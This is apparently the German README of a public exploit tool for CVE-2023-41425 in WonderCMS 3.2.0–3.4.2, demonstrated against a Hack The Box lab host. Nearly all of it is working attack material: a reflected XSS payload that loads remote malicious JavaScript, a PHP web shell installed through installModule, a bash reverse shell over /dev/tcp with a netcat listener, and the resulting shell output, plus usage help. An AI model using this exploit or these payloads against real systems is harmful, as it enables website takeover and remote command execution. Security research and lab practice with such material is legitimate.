
WonderCMS v3.2.0 - v3.4.2 XSS to RCE exploit
CVE-2023-41425 ist eine reflektierte XSS-Schwachstelle in Wonder CMS, die es ermöglicht, über die installModule-Komponente beliebigen Code durch ein schädliches Skript auszuführen.
Ausführen des Exploits gegen die loginURL des Ziels, Angabe unserer IP und des Ports für den Webserver, der die bösartige .js-Datei hostet:
$ python3 exploit.py --url http://sea.htb/loginURL --xip 10.10.16.25 --xport 8888
[+] Creating PHP Web Shell
[+] Writing malicious.js
[+] XSS Payload:
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.16.25:8888/malicious.js"></script><form+action="
[+] Web Shell can be accessed once .zip file has been requested:
http://sea.htb/themes/malicious/malicious.php?cmd=<COMMAND>
[+] To get a reverse shell connection run the following:
[+] curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"
[+] Starting HTTP server
Serving HTTP on 10.10.16.25 port 8888 (http://10.10.16.25:8888/) ...
<--REDACTED--> "GET /malicious.js HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
Senden Sie die XSS-Nutzlast an das Opfer. Sobald das Opfer den Link öffnet, wird die .js-Datei von ihm vom oben gestarteten Webserver angefordert. Die .js-Datei wird dann das bösartige .zip-Modul herunterladen, das eine einfache PHP-Web-Shell enthält.
Sobald die .zip-Datei angefordert wurde, sollte sie über installModule installiert worden sein und kann über den vom Skript bereitgestellten Link aufgerufen werden.
$ curl -s 'http://sea.htb/themes/malicious/malicious.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Richten Sie zuerst den Listener ein, führen Sie dann einen beliebigen Befehl aus, um eine Reverse-Shell-Verbindung herzustellen. Das Skript enthält ein Beispiel dafür (Linux).
$ curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1'"
Und empfangen Sie die Verbindung auf dem Listener:
$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.194.205] 54398
bash: cannot set terminal process group (1135): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sea:/var/www/sea/themes/malicious$
Installieren Sie die Abhängigkeiten:
pip install -r requirements.txt
Hilfe:
$ python3 exploit.py --help
usage: exploit.py [-h] --url URL --xip XIP --xport XPORT
Exploit Wonder CMS v3.2.0 - v3.4.2 XSS to RCE (CVE-2023-41425)
Initial CVE and proof-of-concept by prodigiousMind
Rewritten by xpltive
options:
-h, --help show this help message and exit
--url URL Target URL of loginURL (Example: http://sea.htb/loginURL)
--xip XIP IP for HTTP web server that hosts the malicious .js file
--xport XPORT Port for HTTP web server that hosts the malicious .js file
Dank an prodigiousMind für das Entdecken und Melden der Schwachstelle (Link).